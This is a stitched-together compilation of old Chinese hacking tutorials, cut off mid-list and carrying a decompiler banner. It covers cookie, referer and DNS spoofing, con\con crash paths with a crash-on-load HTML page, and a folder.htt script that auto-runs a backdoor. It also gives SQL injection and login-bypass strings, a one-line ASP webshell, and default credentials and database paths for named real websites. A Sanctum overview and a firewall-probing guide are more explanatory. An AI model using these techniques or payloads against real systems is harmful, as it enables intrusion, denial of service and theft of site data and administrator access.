然后访问http://www0.the9.com/***/cookie.htm，其中***是你个人主页的地址目录。
对了我作了个工具在我的主页上，现在公开一下,http://home.etang.com/fsl/9the/，大家知道该怎么做了吧？嘿嘿，不过你那样设置是没有用的，要这样编辑hosts：
etang的ip www.the9.com
the9的ip www0.the9.com
为什么要这样呢？我等会会告诉大家的
继续the9的cookie讨论，还有2个cookie：
cgl_mainshowinfo（个人信息）
cgl_showinfo_changed（意义不知）
由于第二个cookie不知道是什么，所以就讨论第一个。
第一个cookie存放着你在the9的名字、称号、居住的小区、街道、是否有工作、星级、门牌号等的信息（目前只知道这些，其余的信息不知其意义，具体格式就让给大家去分析了），但是中文都escape过了，如果你用的不是netscpae而是ie的话，不能用unescape得知其信息，因为ie对双字节采用unicode而不采用ascii，如果哪天the9也支持unicode就好了！：），但是其他网站站长注意了，你们可通过cgi的形式把这些the9居民信息抓过来实现数据共享！哈哈……，如果你们真要这么做，就只有使用签名脚本了，总不能让别人编辑hosts吧（不过得注意版权哦！）？ 阿
ie的cookie漏洞：
如果你用的是ie的话，由于ie本身的漏洞，你大可不必编辑hosts，就可以同样做到读写别的域名的cookie，你可以使用以下的方法欺骗ie（具体的可以去www.cookiecentral.com看看）：
假设你的主页文件为http://a.com/cookie.htm，
使用以下url： http://a%2Ecom%2Fcookie%2Ehtm%3F.the9.com
如果直接输在浏览器地址栏里不行，就作个script，把location的值设为这个就可以了！
这个地址转换后应该是这样的： http://a.com/cookie.htm?.the9.com
由于ie的bug，误把前面那个的域名以为是.the9.com了！
hosts文件解释
hosts文件实际上可以看成一个本机的dns系统，它可以负责把域名解释成ip地址，它的优先权比dns服务器要高，它的具体实现是TCP/IP协议中的一部分。
如果有这么一行：
202.109.110.3 www.the9.com
那么在输入www.the9.com时，网络协议会首先检查hosts文件找到匹配的，如果找不到再去dns查，这样你访问www.the9.com实际上是访问202.109.110.3，而不是通常的202.109.110.2。
注：由于缓存的作用，如果开着浏览器编辑hosts的话，hosts里的内容有可能不会当场生效，你可以重新启动浏览器或等一会时间再试一下！
关于ＲＥＦＥＲＥＲ的欺骗（这个虽然不属于cookie欺骗，但是懒得再写一篇，就归在一起了）
referer是http头，它的作用是签定用户是从何处引用连接的，在the9，服务程序就充分利用了这一点，如过你是手动输入url的话，那么referer不会设任何值，服务程序就返回什么“投机取巧”的字样！
由于我们前面对浏览器进行了域名欺骗，那么referer也被欺骗了，但是服务程序对referer是整个主机名检查，所以www0.the9.com的域名就欺骗不了服务器，所以得用www.the9.com欺骗，那么还得设一个域名方便我们访问the9，而且还得让cookie返回给这个真的the9，那么就用www0.the9.com吧！（这回知道前面访问我主页工具时要那样编辑hosts了吧？）
如果你用了这个方法的话，那么你就不能直接点击the9的连接，而得用工具中的地址欺骗来进行访问，至于这样做的好处，大家自己找找吧，我就不想详细说了，太累了！
关于netvampire：
这个下载工具大家都知道吧？那么它的3.3版大家用过吗？很棒的！因为它可以直接让大家改变下载连接的referer，而且它还能继承浏览器的cookie，把cookie返回给服务端（不过cookie不能改，如果能改的话，这个工具就太………………）
后记
好了关于cookie及referer就说到这了，在这个星期以前利用cookie欺骗的话the9的门户可是大开的（当然似乎还有通用密码什么的），不过the9虽然改进了，我不能保证其他社区网也改进了，当然本文只是探讨技术，不负什么法律责任。


DNS欺骗
本文仅用于研究目的！与此相关所产生的一切作者概不负责！ 本文仅用于研究目的！与此相关所产生的一切作者概不负责！

【摘要】

DNS欺骗可以用来上BBS隐藏ip，但其作用远远不止这些。

【简述】

熟悉网络的人都知道，当客户向一台服务器请求服务时，服务器方一般会
根据客户的ip反向解析出该ip对应的域名。这种反向域名解析就是一个查DNS
(Domain Name Service)的过程。

如果客户的ip对应有域名，那么DNS查询会返回其域名。服务器端得到这
一机器名后会将其记录下来并传递给应用程序，于是我们可以看到有人上bbs
来自argo.zsu.edu.cn，其实她来自202.116.64.6——“逸 仙 时 空” BBS。
细心的人会发现BBS上显示ip的栏是有长度局限的，因此若客户机的域名足够
长便可隐藏住自己机器名，如parallelcomput其实是parallelcomputing.xx.
xxx.xxx.xx。这便是隐藏ip的方法之一，此法要和网管比较熟或者咱自己就
是DNS网管。;)

但是您和网管熟吗？反正偶不熟。:(

让我们换个思路：如果服务器在进行DNS查询时能够人为地给它我们自己
的应答信息结果会怎样呢？答案显然不用我说了，这就是著名的DNS欺骗（dns
spoofing）。说实话，DNS欺骗威力巨大，把它用来在BBS上隐藏ip实在是杀
鸡用牛刀。:)

【详述】

现有的大多数DNS服务实现存在两个比较“好”的性质。

其一为当DNS服务器收到一合法的DNS应答信息时它会接受这一返回包中的
所有信息，并存入CACHE。举一个例子：在10.10.1.2的用户要TELNET到100.100
.100.100上，100.100.100.100使用的DNS为100.100.100.200。三次握手后100.
100.100.100会向100.100.100.200发一PTR类型的DNS查询（由IP查主机名）：

100.100.100.100 -> 100.100.100.200 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: 2.1.10.10.in-addr.arpa PTR

而100.100.100.200并没有关于用户IP对应域的信息。它首先根据DNS协议
极其配置查找出10.10.1.2的授权DNS服务器——10.10.1.5。然后向其发出查
询包：

100.100.100.200 -> 10.10.1.5 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: 2.1.10.10.in-addr.arpa PTR

这里隐蔽了iterative与recursive两种方式的区别，一般的DNS设置为
iterative，recursive为可选。详见rfc1034。

10.10.1.5收到该查询信息后便可返回10.10.1.2对应的域名：

10.10.1.5 -> 100.100.100.200 [Answer]
NQY: 1 NAN: 2 NNS: 1 NAD: 1
QY: 2.1.10.10.in-addr.arpa PTR
AN: 2.1.10.10.in-addr.arpa PTR client.host.com
AN: client.host.com A 10.10.1.2
NS: 1.10.10.in-addr.arpa NS ns.host.com
AD: ns.host.com A 10.10.1.5

返回的包中给出了10.10.1.2对应的域名为client.host.com，并指出
client.host.com对应的IP为10.10.1.2（请注意这两个对应的是不同的概念！）
。如果这个返回包能由我们给出，岂不是爽呆了！

那么怎么做呢？可以控制住你的DNS，然后你想设成什么就是什么。但是
太暴力了，偶不推荐这种方式:)。还有更温和的方法——如果局域网内有DNS
服务器，那么可以通过监听、响应的方法实现DNS欺骗。

即先sniff传到局域网来的DNS查询包，然后代替本网段的DNS服务器给出
应答信息（罗嗦了这么多，这里最重要，呵呵）。

但是本网段的DNS服务器也会同时给出应答信息，这样我们构造的包与它
的包会有冲突，通常是我们的慢:(这样的DNS欺骗是不成功的。

为了获得稳定的DNS欺骗的效果，这就涉及到第二个DNS实现的“好”的
性质：

当DNS服务器发查询包时，它在包内有一query id，应答信息只有query
id及ip都对上时才能为服务器所接受。而这一id每次加一，所以可以通过第
一次向要欺骗的DNS SERVER发一个查询并监听到该id值，随后再发一查询，紧
接着马上send我们构造好的应答包，包内的query id为预测的query id值（可
以指定一个范围，比如从previous_id+1到previous_id+100）。

接上例，如10.10.1.2的用户要欺骗100.100.100.100，他可以对100.100.
100.200进行欺骗：

11.11.11.11 -> 100.100.100.200 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: 12345.host.com A

由于host.com的域名由10.10.1.5控制，100.100.100.200向10.10.1.5发
查询包：

100.100.100.200 -> 10.10.1.5 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0 QID: 2345
QY: 12345.host.com A

10.10.1.2的用户可以监听到给包，得到QID: 2345。然后再向100.100.
100.200发第二次查询：

11.11.11.11 -> 100.100.100.200 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: 67890.host.com A

紧接着发带预测QID的应答包：

10.10.1.5 -> 100.100.100.200 [Answer]
NQY: 1 NAN: 0 NNS: 0 NAD: 0 QID: 2346
QY: 2.1.10.10.in-addr.arpa PTR
AN: 2.1.10.10.in-addr.arpa PTR you.want.name

you.want.name就是用户自己指定的域名。注意发这个包时应该用10.10.
1.5这一IP地址。

大功告成！##$##^

【后记】

如果您对DNS不熟甚至根本不知其为何物那么请您先参考有关DNS的文档，
我建议有时间读一读rfc1304、rfc1305。

恳请您不要用它来对国内一些脆弱站点进行恶意攻击。作者使用的源码暂
不公开。如果着急可以去ROOTSHELL下载snoof;)。

http://www.rootshell.com/archive-j457nxiqi3gq59dv/199902/snoof.tgz.html

——摘自：http://www.linuxaid.com.cn

This file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


设备名称解析漏洞详解

文/angel

漏洞的描述
近来有很多人问我，在局域网内经常无原无故的蓝屏死机。我想到了设备名称解析漏洞。有部分局域网攻击软件则是运用这个原理。该漏洞存在于windows 9x系统，用户输入一段命令就可以使开着共享的远程计算机或本地计算机系统崩溃，请求访问系统上一些包含设备名的非法路径，这将导致windows9x崩溃。当windows解析这些路径时，内核的溢出导致整个系统出错。这时你只有重新启动系统才能恢复正常，没有其它的选择。发现有五个设备或设备驱动程序可以使系统崩溃。它们是:CON、NUL、AUX、CLOCK$、CONFIG$，其它的设备都不行。
把这些组合起来形成一个路径，如: CON\NUL, NUL\CON, AUX\NUL，只要请求成功，windows系统将崩溃，在IO.SYS 里是这样定义这些设备的：
DEVICE DRIVERS
--------------
These are specified in IO.SYS and date back from the early Ms Dos
days. Here is what I have found. Here is a brief list;
CLOCK$ - System clock
CON - Console; combination of keyboard and screen to
handle input and output
AUX or COM1 - First serial communicationport
NUL - Dummy port, or the "null device" which we all
know under Linux as /dev/null.
CONFIG$ - Unknown
只要能对这些路径进行请求，不管是远程，还是本地，都可以令系统崩溃。
漏洞的利用
利用这个漏洞的方法很多，通常为以下几种：
一、 远程攻击。

这个方法在局域网内成功率高。为什么呢？因为局域网里大多数都开着共享，以方便文件的传送。先找到一台机子，知不知道IP无所谓，你打开网上邻居，可以看到在局域网内的用户的机器名称，假设为“A1”打开“A1”那台机子，得知他共享了d：那么我们可以在开始菜单的运行里输入
\\a1\d\con\con
那台机子就蓝屏了，假设你知道“A1”的IP为"192.168.0.1"，那就在运行里输入\\192.168.0.1\d\con\con
回车。A1照死不误。格式是
\\计算机名或IP地址\共享名\con\con
如果“A1”只开了打印机的共享，照样受此漏洞的影响，和上面所说的一样在运行里输入\\192.168.0.1\printer$\con\con
\\A1\printer$\con\con
对方就要重启了。如果对方的共享设置了密码，只要知道密码还是轻而易举当掉对方，破解对方的密码不在此文讨论范围，请参阅相关文章。如果对方计算机上安装了web server，如Microsoft Person web server，或者Frontpage Extention Server，用“Get /con/con” 或者“Get nul/nul”的请求，就可以远程当掉 windows 系统例如下面的命令：
http://xxx.xxx.xxx.xxx/nul/nul
如果目标上安装了FTP server，也可以使用上述 GET 命令来达到目的。

二、 本地攻击。

如果是windows 9x系统，那么在运行对话框里输入
c:\con\con
自己的计算机就会当掉，利用这个原理，可以通过修改注册表，在注册表的HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\_项，用
c:\con\con "%1" %* or c:\nul\nul "%1" %*的值，也可以使系统当机。这是宏病毒的一种常用攻击方式。下面的HTML代码也可以达到目的:
<HTML>
<BODY>
<IMG SRC="c:\con\con">
<!-- or nul\nul, clock$\clock$ -->
<!-- or aux\aux, config$\config$ -->
</BODY>
</HTML>
这种情况常用在网页中，不少恶意网站就防有这种代码，访问者打开这个页面计算机就蓝屏，万花谷就是这样，但这代码只对IE有效。
漏洞的防范
只要关闭所有的共享就可以防范远程攻击，如果要更好的防范请下载微软发布的补丁。
Win95/97
http://download.microsoft.com/download/win95/Update/6467/W95/EN-US/256015USA5.EXE
Win98
http://download.microsoft.com/download/win98SE/Update/6467/W98/EN-US/256015USA8.EXE
有何不懂的请访问安全天使论坛http://www.sangel.net/bbs/index.asp.与我交流。


揭发应用软体阶层骇客入侵的十大技巧

出自：Izhar Bar-Gad

应用软体所揭露的网路安全漏洞并不会像 电子邮件病毒如 SirCam 或者 寄生虫式的病毒如 Code Red 一样名传千里，不过它们同样能够制造很多问题，上至窃取商品或机密资讯，下至把整个网站搞垮。想要维护网站的网路安全已非易事，然而，不幸的是，要想利用应用软体层级来做网路入侵的骇客动作却是十分的简单。
通常一个骇客会花几个钟头，去了解一个网站应用软体，藉著把自己当作程式工程师，想像如果是他自己开发这套软体的话，会有哪些捷径是有可能被不当利用的。最後，只要透过一个简单的网页浏览器，这位骇客就可以以不当的方式，与应用程式以及它底下的基础架构做互动，导致各种大大小小、程度不一的损害。
要想避免这些问题，一个公司必须抢先发现它自己网站的安全漏洞，然後迅速把这些骇客可以利用的机会大门关起来。这篇专栏会提供几个最容易被骇客用来从事破坏的最常见的网站弱点。
找到问题的核心
身为 Sanctum 的 CTO，我曾经帮过几家公司找出并且解决应用软体的网路安全问题。藉由同时提供网路安全顾问服务以及长期安全防护方面的技术以辅助网路安全以及授权工具，Sanctum 为电子商务公司提供了应用程式阶层的网路安全解决方案。我们的网站应用的网路安全软体可以保护并且监测网站应用程式行为上的安全性，以确保某应用程式的确是在做它所应该做的事情。
由 Sanctum 主持的安全审查，共检视了 100 个重要网站，在模拟骇客攻击的过程中发现，其中超过百分之 97 的网站都有重大的应用程式阶层的网路安全问题，有可能在数小时之内就被网路骇客充分利用。Sanctum 所执行的审查行动，通常被称为合乎道德的骇客行为（ethical hack）因为这是由客户请求并授权 Sanctum 而去入侵他们的网站，藉由模仿一般骇客会做的网路入侵行为∶亦即在公司的防火墙以及网路之外，透过网页浏览器入侵网站。
在 Sanctum 的自动网站应用软体安全漏洞评估工具程式，AppScan，的辅助之下，审查软体搜寻一整个网站，找出该网站的应用程式网路安全方针，辨认出该目标网站的已知以及未知的网路安全漏洞，并模仿骇客，利用此安全漏洞且攻击该网站。攻击是否成功以及每个网路安全漏洞的严重性在经过评估後，我们便向公司提出详细的报告，并且提供如何防治的建议。
常见的十大盲点
几乎所有的 Sanctum 审查结果都发现，即使网站在网路的层面都有层层的安全保护（亦即，防火墙跟加密），这些网站仍旧会有漏洞，骇客们还是可以读取重要的客户以及公司资讯，窃取销售产品，以及接收免费的产品或服务。使用下面的前十大骇客技巧，Sanctum 审核软体可以探索这些共同的安全漏洞，并且在这合乎道德的骇客行为中，犯下各式各样的网路罪行。
---------------------------------------

1.在 cookie 中下毒（Cookie poisoning）－识别窃取

藉由操作存在浏览器的 cookie 中的资讯，骇客们可以取得使用者的识别，并且取得读取该使用者资讯的权限。很多网站应用软体使用 cookie 来储存资讯（像是用户识别码，日期时间等等）在客户端的机器上。既然 cookie 往往并未被加密，骇客们便可以修改它们，藉著在 cookie 中下病毒来诱骗应用程式修改它们的值。藉此，恶意的使用者可以取得不是他们自己帐户的存取权，而用别的使用者的身分做某些不当的活动。
2.操控隐藏栏位－电子商务商品窃取
骇客们可以很容易的改变网页原始程式码中隐藏的栏位，来更改某个产品的价格。这些栏位通常被用来储存客户某次连结的资讯，以便省去伺服端必须维护复杂资料库的麻烦。因为电子商务应用程式使用隐藏栏位来储存商品的价格，Sanctum 的审查软体就可以在检视某网页的原始程式码後，找出隐藏栏位，然後更改商品价格。在实际的世界中，没有人可以发现这项改变，而公司也就乖乖的以经过变动的价格将商品卖出去，甚至还会提供退回货款的服务。
3.更动参数－造假

这项技术利用的是更改网站 URL 参数的资讯。因为很多应用程式并没有针对网路超连结（hyperlink）中，共同闸道介面 （Common Gateway Interface，CGI）的参数做确认，所以这些参数可以很容易的被更动为，例如，允许一个信用额度五十万美元的信用卡，或者跳过网站登入程序画面，以及授与更改订货以及客户资讯的权限。
4.制造缓冲区溢位（Buffer overflow） －关门大吉

藉著利用表格中的某个缺陷，以庞大的资讯量轰炸伺服器，骇客们就能够将伺服器搞垮，网站就只好关门大吉了。
5.撰写跨网站描述程式（Cross-site scripting）－侵占/信用破产

当骇客们把某一段意图不轨的程式码放到网站上时，这些描述程式在表面上看来好像是来自我们某个想要连结的网站，如此一来骇客取得所下载文件的完全控制权，并且甚至已经将该网页的资料回传给自己了。
6.走後门以及 debug 选项－越界入侵

通常，程式工程师都会在程式中留下除错的选项（debug option）以便在网站公开前从事测试。有时候，在匆忙的情况下，他们会忘记将这些程式选项拿掉，这等於免费提供了骇客们高度敏感的资讯。
7.强迫浏览－强行闯入

藉由程式逻辑的转向（subverting the application flow），骇客们可以存取正常情况下无法取得的资讯以及某部分的应用程式，像是日档，管理工具程式，以及应用软体原始程式码。
8.隐藏指令－将武器隐藏起来

骇客们通常透过「特洛伊木马」（译者注∶木马屠城记） 将危险的指令隐藏起来，以便执行某些恶意的或未经授权的程式码，造成对网站的伤害。
9.第三者错误的设定－破坏某个网站

因为安全漏洞以及其解法都会在公共网站公布 （像是 Securityfocus），骇客们在那些安全漏洞出现的时候，自然会注意到它们。例如，透过设定错误，一个骇客可以建一个新的资料库，将该站原有的资料库毁掉。
10.已知的安全漏洞－取得网站的控制权

有些在网站上用的技术在先天上就已经有弱点，如果骇客够坚持的话，就能够加以利用。例如，Microsoft Active Server Page（ASP）技术可以被利用来取得系统管理员密码，取得整个网站的控制权。

预防这些攻击
不断循环的审查网站应用软体，然後尽力追上最新的解法，是场对抗拥有自动工具，挖出新安全漏洞的骇客的持续战斗。虽然今天几乎所有的网站都尝试著要以手动的方式达成应用软体阶层的网路安全， 而最後他们也都失败了，不过新的自动化工具程式最近不断的出现，以便让负责审查的人，程式开发工程师，以及 QA 专业人员执行网路安全漏洞评估，以及合乎道德的骇客行为， 抢在骇客的前面，先发现安全漏洞。Sanctum 提供各式各样不同的产品，以满足此需求，包括了用来侦测某些透过浏览器不当的操控应用程式的行为的AppShield， ，以及将审查某个网站应用程式的复杂工作自动化的AppScan。此外，Sanctum 同时也为那些想要找出自家网站安全漏洞的公司提供了 AppAudits。

Izhar Bar-Gad 是 Sanctum 公司的资讯长。在加入 Sanctum 团队以前，他在以色列的 Amdocs 公司的基础建设和研发小组当专案组长。在以色列国防部服役的时候，Bar-Gad 是网际网路安全防范单位的一员，曾负责一个通讯安全的软体设计大型专案。


入侵防火墙简介

网络发展到今天，安全技术层出不穷，目前最常用，技术最成熟的应该还是利用FIREWALL提高安全性，关于FIREWALL的定义，就仁者见仁，智者见智了，我个人比较赞成的观点是 "防火墙系统可以是路由器，也可以是个人主机、主系统和一批主系统，专门把网络或子网同那些可能被子网外的主系统/*或者本地用户*/滥用的协议和服务隔绝，其中还包括合理的过滤规则的应用"
从外部用户的角度来看，最简单的例子就是许多时候我们试图利用TELNET或其他手段连接到远程主机，经过半天的等待以后，往往是"refuse connect"/*当然也可能是对方限制IP登陆*/……:(
比较经典的FIREWALL区分方法是把它分成两种application proxies and filtering gateways.我决定在此处省去N字，：）因为关于FIREWALL原理和实现技术已经有N篇文章讲过了……呵呵，你到处都可以找到，中，英文都有。假如有兴趣的，我也可以发给你资料OK，看完了那些FIREWALL的基本知识之后，让我们开始从我们习惯的角度来看问题了。:)
有些FIREWALL类型可以被简单的PORT SCAN所鉴别，例如，CheckPoint's Firewall监听TCP的256.257.258口/*CheckPoint's用来远程管理用的*/，Microsoft's Proxy server通常监听TCP的1080和1745口，我们可以简单的利用NMAP去找找看nmap -n -vv -P0 -P256,1080,1745 *.*.*.*/24 我要提醒你注意的是-P0是不可以缺少，因为这个选项是禁止在扫描以前ICMP PING目标，而很多FIREWALL 是不会响应ICMP echo 请求的。
利用traceroute for unix or tracert for winnt&98命令来看，假如是用LINUX的话，可以加-I选项，表示发送ICMP PACKET。
TRACEROUTE的原理是向目标主机发送一系列UDP数据包。开头的三个数据包的存活期设置为1，接受到的第一个ROUTER返回一个TTL死亡报文，并且将它丢弃，接着的第二个数据包存活期设置为2，接受到的第二个ROUTER返回一个TTL死亡报文，并且将它丢弃……其他的依此类推。
通常可以看到下面的情况
1 XXX 192.168.55.1 **ms **ms **ms
2 SSS 192.168.52.2
……
11 WWW 10.63.2.2
12 ZZZ 10.63.5.1
13 QQQ 172.16.11.1
我们可以猜测10.63.5.1可能是FIREWALL。/*只能是猜测*/假如有些ROUTER和FIREWALL设置不回复ICMP TTL 死亡报文的话，我们将无法通过TRACEROUTE看到它的存在。
1 XXX 192.168.55.1
2 SSS 192.168.52.2
……
11 WWW 10.63.2.2
12 ZZZ 10.63.5.1
13 QQQ 172.16.11.1
14 * * *
15 * * *
有时候，我们用NC连接到目标的21或者23口，假如它是在FIREWALL保护下你可以看到该FIREWALL的信息。呵呵，国内最简单的例子是你直接FTP到163的超级酷个人主页，就可以看到“天网……”的字样。这可是前段时间大大出名的FIREWALL哦
如何尽可能多的知道FIREWALL的信息呢，我个人还是喜欢用NMAP---作为SCANER，我觉得它是无可挑剔的，总是可以告诉我们尽可能多的东西……
/*建议你先去看看NMAP的说明，同时你也许还需要看看TCP的三次握手*/
nmap总是显示该服务的服务名称,端口号，状态以及协议。状态有'open','filtered'和'unfiltered'三种。
'open'就不用多说什么了，大家都明白指的是目标机器将会在该端口接受你的连接请求
一般来说，在NMAP中，一个filtered端口表示下面三种情况：
1 没有收到 SYN/ACK packet
2 没有收到 RST/ACK packet
3 回复了一个ICMP 3 类型和13 代码，表示信宿不可到达/*icmp的3类型就表示目标信宿机不可到达，可以利用不同的码将它细分为13种情况，如网络不可以到达，主机不可以到达，协议不可以到达，端口不可以到达等……*/
当'filtered'状态下，我们利用TCPDUMP具体分析，可以发现在抓的IP包中，很明确的表示了unreachable,在NMAP中，端口被堵塞的信息是通过ICMP报文中在头标位置占一个字节的类型部分表示的，并且经过FIREWALL过滤后返回的信息在IP包中占4个字节表示。
'unfiltered'返回的信息是在各大安全BBS被争论最多的，在NMAP的说明中，只是简单的说unfiltered'只有在大多数的扫描端口都处在'filtered'状态下才会出现的。其实它只是在扫描N多端口并且收到一个RST/ACK PACKET时出现，在'unfiltered'状态下，我们的SCAN也许通过了FIREWALL并且TARGET告诉我们这个端口没有被监听，换句话说，也就是没有打开。或者FIREWALL回复了一个RST/ACK，这种情况也经常在
扫描某些FIREWALL如CheckPoint(with the REJECT rule)时出现，当它从目标回复一个RST/ACK PACKET并且给一个错误的IP地址。当我们同时运行TCPDUMP就可以看到返回的是一个RST/ACK包。/*我个人认为，这是个非常好的办法*/
还有一些SCANER可以帮助我们
Hping,一个很实用的东东，它通过发送一个ICP包到目标端口并且报告回复的包。它可以根据不同条件而产生多种输出，利用HPING，我们可以清楚的描述出FIREWALL的控制规则。
当一个PORT打开并且收到一个连接时，HPING将告诉我们'flags=SA'，呵呵就是代表收到一个SYN/ACK包。当我们用HPIHG扫描*.*.*.*的23口收到一个'ICMP Unreachable type 13 form *.*.*.*'时，通常情况就是遇到了一个PACKET FILTERING ROUTER。假如对方是CISCO的话很可能就是在配置文件中有这一行
"access-list 101 deny tcp any any 23 ! telnet"
当我们收到一个RST/ACK包/*'flags=RA'*/一般代表两种可能：
1，这个包通过了FIREWALL并且TARGET没有开这个端口
2，FIREWALL拒绝了这个包(就象CheckPoint's reject rule)
假如你先扫描一个IP的23口收到了收到一个'ICMP Unreachable type 13 form *.*.*.*'，然后你扫描其他的端口如22，收到的是一个RA包/*'flags=SA'*/，通过综合判断，我们可以断定，是端口22没有开，而不是被过滤规则所拒绝。
最后，当FIREWALL完全堵塞了一个PORT，我们通常收不到任何返回包。它告诉我们两个意思
1，包不能到达TARGET并丢失在途中
2，绝大部分原因是由于FIREWALL的过滤规则决定将它丢弃。
firewalk也是一个非常好的工具，它可以帮助我们发现在FIREWALL后面打开的PORT，它是利用an ip TTLcalculated to expire one hop past the firewall.其实还是利用回应一个"ICMP TTL expired intransit"信息，如果包被FIREWALL’ACL 拒绝，将没有任何回应或者是一个ICMP TYPE 13。
不过用firewall进行扫描要注意的一点是，有些FIREWALL在拒绝PACKET EXPIRES时还会给你返回一个ICMPTTL EXPIRED 包，呵呵，很狡猾，在这种情况下，我们将会看到所有的PORT都是打开的：（以上就是我所掌握的一些FIREWALL SCAN技术，希望可以帮助你尽量多的了解FIREWALL后面的情况，也欢迎来信讨论。
另，我简单的谈谈突破/后门的办法，以后有时间我会慢慢写出来 ，如果你E文好，那我强烈推荐THC的关于突破FIREWALL的后门的文章！！！
以下是我根据THC文章和自己经验的一点综合，有很多我也不是很了解的地方，还要大家一块来讨论。
1，很多FIREALL，如CHECKPOINT，它默认的DNS LOOKUPS（UDP53）口是打开的，DNS zone transfers(TCP53),RIP(UDP 520)是允许任意HOST连接的，呵呵，利用这个我们就可以指定我们的木马程序运行在这个PORT上，然后……有些时候，数据包过滤可以有状态包检查，如果是这样的话，我们利用DNS口就没法执行自己的命令，但是还有别的办法……
2，ICMP和UDP
许多FIREWALL允许ICMP ECHO。ICMP ECHO REPLY，UDP包通过，如CHECKPOING DNS，呵呵，可以将自己的数据利用ICMP包头封装起来，就可以执行通过FIREWALL执行命令了，在这方面的现有软件是LOKI&lokid(client&server)，等我有啦点心得以后再写给大家……UDP的后门程序有daemonshell-udp，也是来自[THC] - The Hacker's Choice.
3，利用CGI留后门，呵呵，ROUTER过滤再厉害，它只要允许HTTP访问，就一定防止不了CGI的后门，在网上很容易找到这类的后门，如GH写的后门，不过好象都很类似，除了作者的名字以外/老外也搞这套/
4，开个高段的SHELL后门，国内现在很多这方面的东西，主要原理是利用有些FIREWALL不检查到高段PORT，所以可以放置这类后门。
5, 利用.forward文件，开sendmail服务的也不会比开HTTP的少多少哦……执行你的SHELL脚本，至于你要干什么，就自己决定了：）和这个比较类似的方法是利用crontab,最重要还是要看你所希望它们执行什么命令……
6，RPC服务，呵呵，很多FIREWALL允许RPC服务，利用RPC的EXPLOITS，就可以出入如无人之境了……


用DESKTOP.INI和folder.htt来自动运行程序
文章作者：grayhat
把c:winnt目录中的desktop.ini 和folder.htt（注意：每种不同目录下的desktop.ini和folder.htt文件都是不同的，所以一定要是winnt目录下的。）复制出来，用记事本打开folder.htt文件把下面的代码加在最前面：
<script language="javascript">
run_exe="<OBJECT ID="RUNIT" !
WIDTH=0 HEIGHT=0
        TYPE="application/x-oleobject""
run_exe+="CODEBASE="程序名.exe#version=1,1,1,1">"
run_exe+="<PARAM NAME="_Version" value="65536">"
run_exe+="</OBJECT>"
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>

把其中的“程序名.exe”改为你想要启动的程序名称。
现在我们只要把desktop.ini、folder.htt和要启动的程序，放在同一个只读目录（记住一定要是只读目录，而且最好是管理员经常进去的）下，当管理员打开这个目录，程序就会自动得到运行。
这种方法可以用于通过启动后门程序得到管理员权限。


autorun.inf的硬盘版用法
议题提交：剑心 [BCT]
信息来源：邪恶八进制信息安全团队
autorun.inf放在硬盘根目录下据说是可以运行的(98下是可以的),因为本身原因我没有那么多系统测试,希望得到大家的帮助
[autorun]
open=wscript.exe c:\run.vbs
保存为autorun.inf存在磁盘根目录下,应该在双击硬盘的时候会运行我们的c:\run.vbs
但是没有测试
在xpsp1下发现过这样的病毒,爱情后门,其中一个特性是
在每个盘符下生成如下两个文件
AUTORUN.INF
COMMAND.EXE
使用户一双击盘符即会中毒
2000下也发现过.20003曾经让朋友的机器打不开硬盘也是用的这个文件.
现在需要确切的证明,希望大家 测试之后 给出回答.
谢谢


入侵的14种可利用方法

如果你有任何问题请访问:::::: http://4688144.q-zone.qq.com .给我留言，我会一一回答.
----------------------------------------------------------------------
1.上传漏洞[不多讲]
pS: 如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”，80%就有漏洞了！
有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传.
2.注入漏洞[不多讲]
pS:对MD5密码.有时我们不是哪么容易跑出来.如果是[SQL数据库].那么我们可以用以下命令:
http://注入网址;update admin set password='新MD5密码' where
        password='旧MD5密码'--
        [admin为表名.]
3.旁注,也就是跨站.
我们入侵某站时可能这个站坚固的无懈可击，我们可以找下和这个站同一服务器的站点，然后在利用这个站点用提权，嗅探等方法来入侵我们 要入侵的站点。，在这里有个难点，就是一些服务器的绝对路径经过加密，这就看我们的本事了

4.暴库:把二级目录中间的/换成%5c
EY:http://www.ahttc.edu.cn/otherweb/dz/bgs/BigClass.asp?BigClassName=职责范围&BigClassType=1
如果你能看到：'E:\ahttc040901\otherweb\dz\database\iXuEr_Studio.asa'不是一个有效的路径。 确定路径名称拼写是否正确，以及是否 连接到文件存放的服务器。
这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行.

5.'or'='or'这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有：
'or''=' " or "a"="a ') or ('a'='a ") or ("a"="a or 1=1-- ' or 'a'='a

6.社会工程学。这个我们都知道吧。就是猜解。
  ＥＹ：http://www.neu.edu.cn/waishi/admin
admin waishi

７.写入ASP格式数据库。就是一句话木马[<%execute request("value")%> ]，常用在留言本.
ＥＹ：http://www.ahsdxy.ah.edu.cn/ebook/db/ebook.asp[这个就是ASP格式的数据库]，再写入一句话木马

8.源码利用：一些网站用的都是网上下载的源码.有的站长很菜.什么也不改.
EY:http://www.ahsdxy.ah.edu.cn/xiaoyoulu/index.asp
这个站用的是：杰出校友录，源码我下过了，
默认数据库/webshell路径：\database\liangu_data.mdb 后台管理：adm_login.asp 密码及用户名都是admin

9.默认数据库/webshell路径利用:这样的网站很多/利人别人的WEBSHELL.
/Databackup/dvbbs7.MDB
/bbs/Databackup/dvbbs7.MDB
/bbs/Data/dvbbs7.MDB
/data/dvbbs7.mdb
/bbs/diy.asp
/diy.asp
/bbs/cmd.asp
/bbs/cmd.exe
/bbs/s-u.exe
/bbs/servu.exe
工具：网站猎手 挖掘鸡
EY：http://www.cl1999.com/bbs/Databackup/dvbbs7.MDB

10.查看目录法:人一些网站可以断开目录，可以方问目录。
EY：http://www.ujs168.com/shop/admin/
http://escolourfvl.com/babyfox/admin/%23bb%23dedsed2s/
这样我们可以找到数据库，下载不用我教吧

11.工具溢出:.asp?NewsID= /2j.asp?id=18 .asp?id=[这种方法可以取得大量的WEBSHELL]

12.搜索引擎利用:

